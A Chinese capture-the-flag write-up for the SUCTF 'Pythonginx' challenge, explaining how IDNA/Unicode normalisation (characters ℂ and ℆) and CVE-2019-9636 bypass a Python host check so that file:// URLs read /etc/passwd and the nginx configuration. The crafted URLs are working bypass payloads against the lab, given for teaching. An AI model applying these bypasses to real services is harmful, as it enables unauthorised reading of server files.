SUCTF Pythonginx wp

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

分析

urlparse方法:将url解析成6部分(scheme, netloc, path, parameters, query, fragment),以元祖的形式返回

1
2
3
4
5
>>> url = urlparse('http://www.baidu.com/index.php?id=5#comment')
>>> print(url)
ParseResult(scheme='http', netloc='www.baidu.com', path='/index.php', params='', query='id=5', fragment='comment')
>>> print(url.hostname)
www.baidu.com

urlsplit方法:返回一个包含5个字符串项目的元组:协议、位置、路径、查询、片段

1
2
3
>>> url = urlsplit('http://www.baidu.com/index.php?id=5#comment')
>>> print(url)
SplitResult(scheme='http', netloc='www.baidu.com', path='/index.php', query='id=5', fragment='comment')

urlunsplit方法:使用urlsplit()返回的值组合成一个url

1
2
3
>>> url = urlunsplit(('http', 'www.baidu.com', 'index.php', '', ''))
>>> print(url)
http://www.baidu.com/index.php

这道题目比较了三次host,但这三次从url中取出host的方式确不同:

# 1
parse.urlparse(url).hostname

# 2
list(urlsplit(url))[1]

# 3
newhost = []
for h in host.split('.'):
    newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
parse.urlparse(urlunsplit(parts).split(' ')[0]).hostname

看到第三次判断前,使用encode(‘idna’).decode(‘utf-8’)进行编码解码:

IDNA(Internationalizing Domain Names in Applications)IDNA是一种以标准方式处理ASCII以外字符的一种机制,它从unicode中提取字符,并允许非ASCII码字符以允许使用的ASCII字符表示。

unicode转ASCII发生在IDNA中的TOASCII操作中。如果能通过TOASCII转换时,将会以正常的字符呈现。而如果不能通过TOASCII转换时,就会使用“ACE标签”,“ACE”标签使输入的域名能转化为ASCII码

解法一

在unicode中字符ℂ,经过转换后最后会成为c:

1
2
>>> 'ℂ'.encode('idna').decode('utf-8')
>>> 'c'

构造:

1
file://suctf.cℂ/etc/passwd

便可读取文件

解法二

1
2
>>> '℆'.encode('idna').decode('utf-8')
'c/u'

nginx配置文件目录:/usr/local/nginx/conf/nginx.conf

因为此题目提示了nginx,那么如果要读这个文件,url中存在:suctf.cc/usr/,因此可以利用这个unicode字符,构造:

file://suctf.c℆sr/local/nginx/conf/nginx.conf

读出flag位置:/usr/fffffflag

详情请参考末尾blackhat的文档

解法三

CVE-2019-9636:urlsplit不处理NFKC标准化

1
file:////suctf.cc/../../../../../etc/passwd

Nginx重要文件位置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

blackhat文档:

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf